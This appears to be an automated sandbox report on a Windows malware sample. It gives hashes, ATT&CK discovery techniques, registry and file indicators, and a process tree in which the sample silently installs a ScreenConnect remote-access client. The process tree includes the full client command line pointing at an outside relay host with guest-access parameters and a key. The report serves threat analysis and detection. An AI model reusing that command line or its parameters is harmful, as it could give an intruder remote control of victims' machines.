97e21cae94fbc1c11b2505b713280a211ca4e281057e7d0c6c6dd740f78fc163

Analysis

max time kernel
149s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/10/2026, 05:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-22_874bf6c1bc10249de4781568c2c2c5d1_amadey_elex_glassworm_icedid_karagany_luca-stealer_njrat.exe
Size 4.1MB
Sample261024-gpb6raf17y
SHA256 97e21cae94fbc1c11b2505b713280a211ca4e281057e7d0c6c6dd740f78fc163
MD5 874bf6c1bc10249de4781568c2c2c5d1
SHA1 e8f6876e031aae4fb5bb9972639251ebfdbf16ff
SHA512 64feb503f686fd3146c315a053eb7b173209697ef84d41c52ddd12e4bd6c83d661e37845926f3208e24d1aef3e599c406d655d3aee8f695b5df928853070df43
SSDEEP 49152:QvcJdZqhri963PSumT0+TFiH7efPp3Z0I/CmJMJzLHWEdLaz62fayyC6XGupG91V:FPZqw6+6efPY0CmJWLLLazXVeGwaf
TLSH
T11F16D011B3D181B5D0BF0638D8795666A774BC099321CB9F9794BE696E33BC08E22373
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

discovery ransomware

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\International\Geo\Nation	2026-10-22_874bf6c1bc10249de4781568c2c2c5d1_amadey_elex_glassworm_icedid_karagany_luca-stealer_njrat.exe

Executes dropped EXE 2 IoCs

pid	Process
2268	ScreenConnect.ClientService.exe
2296	ScreenConnect.WindowsClient.exe

Loads dropped DLL 25 IoCs

pid	Process
5060	MsiExec.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
1724	MsiExec.exe
1724	MsiExec.exe
1724	MsiExec.exe
4532	MsiExec.exe
4532	MsiExec.exe
2268	ScreenConnect.ClientService.exe
2268	ScreenConnect.ClientService.exe
2268	ScreenConnect.ClientService.exe
2268	ScreenConnect.ClientService.exe
2268	ScreenConnect.ClientService.exe
2268	ScreenConnect.ClientService.exe
2268	ScreenConnect.ClientService.exe
2268	ScreenConnect.ClientService.exe
2268	ScreenConnect.ClientService.exe
2268	ScreenConnect.ClientService.exe
2268	ScreenConnect.ClientService.exe
2268	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe

Drops file in Program Files directory 10 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\Client.resources	msiexec.exe

Drops file in Windows directory 16 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{C4881023-E9C3-4BF6-A06C-C05E24C51811}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI59A1.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5B97.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5C15.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{C4881023-E9C3-4BF6-A06C-C05E24C51811}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\e59577f.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\{C4881023-E9C3-4BF6-A06C-C05E24C51811}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\e59577d.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5A10.tmp	msiexec.exe
File created	C:\Windows\Installer\e59577d.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI58D4.tmp	msiexec.exe
File created	C:\Windows\Installer\{C4881023-E9C3-4BF6-A06C-C05E24C51811}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI58E5.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.ClientService.exe

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-10-22_874bf6c1bc10249de4781568c2c2c5d1_amadey_elex_glassworm_icedid_karagany_luca-stealer_njrat.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000007ea4f5aeffb5eeca0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff0000000027010100000800007ea4f5ae0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff0000000007000100006809007ea4f5ae000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a7ea4f5ae000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d7ea4f5ae000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe

Modifies registry class 32 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3201884C3C9E6FB40AC60CE5425C8111\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3201884C3C9E6FB40AC60CE5425C8111\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\2E625960900D2EF3DEFEBFADB36BBFFC\3201884C3C9E6FB40AC60CE5425C8111	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-edeffbda3bb6fbcf\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-edeffbda3bb6fbcf\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (edeffbda3bb6fbcf)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3201884C3C9E6FB40AC60CE5425C8111\ProductName = "ScreenConnect Client (edeffbda3bb6fbcf)"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3201884C3C9E6FB40AC60CE5425C8111\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3201884C3C9E6FB40AC60CE5425C8111\SourceList\Media\1 = ";"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-edeffbda3bb6fbcf\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-edeffbda3bb6fbcf\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\3201884C3C9E6FB40AC60CE5425C8111	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3201884C3C9E6FB40AC60CE5425C8111\PackageCode = "F2F7FBCB98A68C5449CE48776B8D6FE1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3201884C3C9E6FB40AC60CE5425C8111\SourceList\PackageName = "setup.msi"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3201884C3C9E6FB40AC60CE5425C8111\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-edeffbda3bb6fbcf	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3201884C3C9E6FB40AC60CE5425C8111\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3201884C3C9E6FB40AC60CE5425C8111\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3201884C3C9E6FB40AC60CE5425C8111\DeploymentFlags = "3"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3201884C3C9E6FB40AC60CE5425C8111\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3201884C3C9E6FB40AC60CE5425C8111\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\2E625960900D2EF3DEFEBFADB36BBFFC	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-edeffbda3bb6fbcf	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3201884C3C9E6FB40AC60CE5425C8111\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3201884C3C9E6FB40AC60CE5425C8111\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-edeffbda3bb6fbcf\URL Protocol	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\3201884C3C9E6FB40AC60CE5425C8111\Full	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3201884C3C9E6FB40AC60CE5425C8111\Version = "352586135"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3201884C3C9E6FB40AC60CE5425C8111\ProductIcon = "C:\\Windows\\Installer\\{C4881023-E9C3-4BF6-A06C-C05E24C51811}\\DefaultIcon"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3201884C3C9E6FB40AC60CE5425C8111\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-edeffbda3bb6fbcf\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-edeffbda3bb6fbcf\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3201884C3C9E6FB40AC60CE5425C8111	msiexec.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3512	msiexec.exe
3512	msiexec.exe
2268	ScreenConnect.ClientService.exe
2268	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4624	2026-10-22_874bf6c1bc10249de4781568c2c2c5d1_amadey_elex_glassworm_icedid_karagany_luca-stealer_njrat.exe
Token: SeShutdownPrivilege	2784	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2784	msiexec.exe
Token: SeSecurityPrivilege	3512	msiexec.exe
Token: SeCreateTokenPrivilege	2784	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2784	msiexec.exe
Token: SeLockMemoryPrivilege	2784	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2784	msiexec.exe
Token: SeMachineAccountPrivilege	2784	msiexec.exe
Token: SeTcbPrivilege	2784	msiexec.exe
Token: SeSecurityPrivilege	2784	msiexec.exe
Token: SeTakeOwnershipPrivilege	2784	msiexec.exe
Token: SeLoadDriverPrivilege	2784	msiexec.exe
Token: SeSystemProfilePrivilege	2784	msiexec.exe
Token: SeSystemtimePrivilege	2784	msiexec.exe
Token: SeProfSingleProcessPrivilege	2784	msiexec.exe
Token: SeIncBasePriorityPrivilege	2784	msiexec.exe
Token: SeCreatePagefilePrivilege	2784	msiexec.exe
Token: SeCreatePermanentPrivilege	2784	msiexec.exe
Token: SeBackupPrivilege	2784	msiexec.exe
Token: SeRestorePrivilege	2784	msiexec.exe
Token: SeShutdownPrivilege	2784	msiexec.exe
Token: SeDebugPrivilege	2784	msiexec.exe
Token: SeAuditPrivilege	2784	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2784	msiexec.exe
Token: SeChangeNotifyPrivilege	2784	msiexec.exe
Token: SeRemoteShutdownPrivilege	2784	msiexec.exe
Token: SeUndockPrivilege	2784	msiexec.exe
Token: SeSyncAgentPrivilege	2784	msiexec.exe
Token: SeEnableDelegationPrivilege	2784	msiexec.exe
Token: SeManageVolumePrivilege	2784	msiexec.exe
Token: SeImpersonatePrivilege	2784	msiexec.exe
Token: SeCreateGlobalPrivilege	2784	msiexec.exe
Token: SeCreateTokenPrivilege	2784	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2784	msiexec.exe
Token: SeLockMemoryPrivilege	2784	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2784	msiexec.exe
Token: SeMachineAccountPrivilege	2784	msiexec.exe
Token: SeTcbPrivilege	2784	msiexec.exe
Token: SeSecurityPrivilege	2784	msiexec.exe
Token: SeTakeOwnershipPrivilege	2784	msiexec.exe
Token: SeLoadDriverPrivilege	2784	msiexec.exe
Token: SeSystemProfilePrivilege	2784	msiexec.exe
Token: SeSystemtimePrivilege	2784	msiexec.exe
Token: SeProfSingleProcessPrivilege	2784	msiexec.exe
Token: SeIncBasePriorityPrivilege	2784	msiexec.exe
Token: SeCreatePagefilePrivilege	2784	msiexec.exe
Token: SeCreatePermanentPrivilege	2784	msiexec.exe
Token: SeBackupPrivilege	2784	msiexec.exe
Token: SeRestorePrivilege	2784	msiexec.exe
Token: SeShutdownPrivilege	2784	msiexec.exe
Token: SeDebugPrivilege	2784	msiexec.exe
Token: SeAuditPrivilege	2784	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2784	msiexec.exe
Token: SeChangeNotifyPrivilege	2784	msiexec.exe
Token: SeRemoteShutdownPrivilege	2784	msiexec.exe
Token: SeUndockPrivilege	2784	msiexec.exe
Token: SeSyncAgentPrivilege	2784	msiexec.exe
Token: SeEnableDelegationPrivilege	2784	msiexec.exe
Token: SeManageVolumePrivilege	2784	msiexec.exe
Token: SeImpersonatePrivilege	2784	msiexec.exe
Token: SeCreateGlobalPrivilege	2784	msiexec.exe
Token: SeCreateTokenPrivilege	2784	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2784	msiexec.exe

Suspicious use of FindShellTrayWindow 20 IoCs

pid	Process
2784	msiexec.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2784	msiexec.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 18 IoCs

pid	Process
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe
2296	ScreenConnect.WindowsClient.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4624 wrote to memory of 2784	4624	2026-10-22_874bf6c1bc10249de4781568c2c2c5d1_amadey_elex_glassworm_icedid_karagany_luca-stealer_njrat.exe	85
PID 3512 wrote to memory of 5060	3512	msiexec.exe	88
PID 5060 wrote to memory of 4180	5060	MsiExec.exe	89
PID 3512 wrote to memory of 2756	3512	msiexec.exe	100
PID 3512 wrote to memory of 1724	3512	msiexec.exe	102
PID 3512 wrote to memory of 4532	3512	msiexec.exe	103
PID 2268 wrote to memory of 2296	2268	ScreenConnect.ClientService.exe	105

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-10-22_874bf6c1bc10249de4781568c2c2c5d1_amadey_elex_glassworm_icedid_karagany_luca-stealer_njrat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-22_874bf6c1bc10249de4781568c2c2c5d1_amadey_elex_glassworm_icedid_karagany_luca-stealer_njrat.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4624
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\setup.msi"
  2⤵
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:2784

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3512
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding C4B70E47C274BF8D4F6F052574F7CB33 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5060
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI1AA2.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240720640 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:4180
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:2756
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 05A6F35A55716E637A1AF1C319F552D4
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1724
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 97AA6679FC4289B95AA0B560C7A3DEBB E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:4532

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:1488

C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-rrfxdq-relay.screenconnect.com&p=443&s=c6863af9-fa64-449f-bc15-784674f0df37&k=BgIAAACkAABSU0ExAAgAAAEAAQDvpdbG6sEIl1NMEVID9EPF0FyKWA4dUTbuLO02Hx0BfFJS1L9XE22%2b8xJ3PykhTrqPMqxamVXVtFEHZ3lubE1s9WTJFv6gb9BRsVzVdYuleFZONbaxhxNu%2fCn%2bjhFAfyxEQTgF7mWG3XnsXm1e9822oVleRD7GFxN0%2f3zEbTOndc%2bhDmBmiPMIxREEWKJxvWNMT3VRHi49t9XkoxGKGveKNZjF9AN79TpA%2fPyRU7obUKnqOLmzx3hGb4tB8BoHxmIWlHXxyyJPTfdz4FpX01SzJtcS4%2fy3sc7Ab4mdKGhydqawt75fXrXtENQvLyTxa1HclF07Q%2fqSy1OddQirfFyH&t=Denise%20Blanchard&c=GPC&c=&c=&c=&c=&c=&c=&c="
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2268
- C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.WindowsClient.exe" "RunRole" "d4aa7e0f-53b7-4912-afdc-1acf87787823" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2296

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e59577e.rbs

Path C:\Config.Msi\e59577e.rbs
Size 212KB
SHA256 ea13fcd8261ca57d54aca2a9d33ec357aefba67626cf6a5254cbf0c2ac10ed3d
MD5 116c5aeb181dbeea496152c4177f57c4
SHA1 b47ae030a60f04a7e6e6e41e3f0451af9b3d20d4
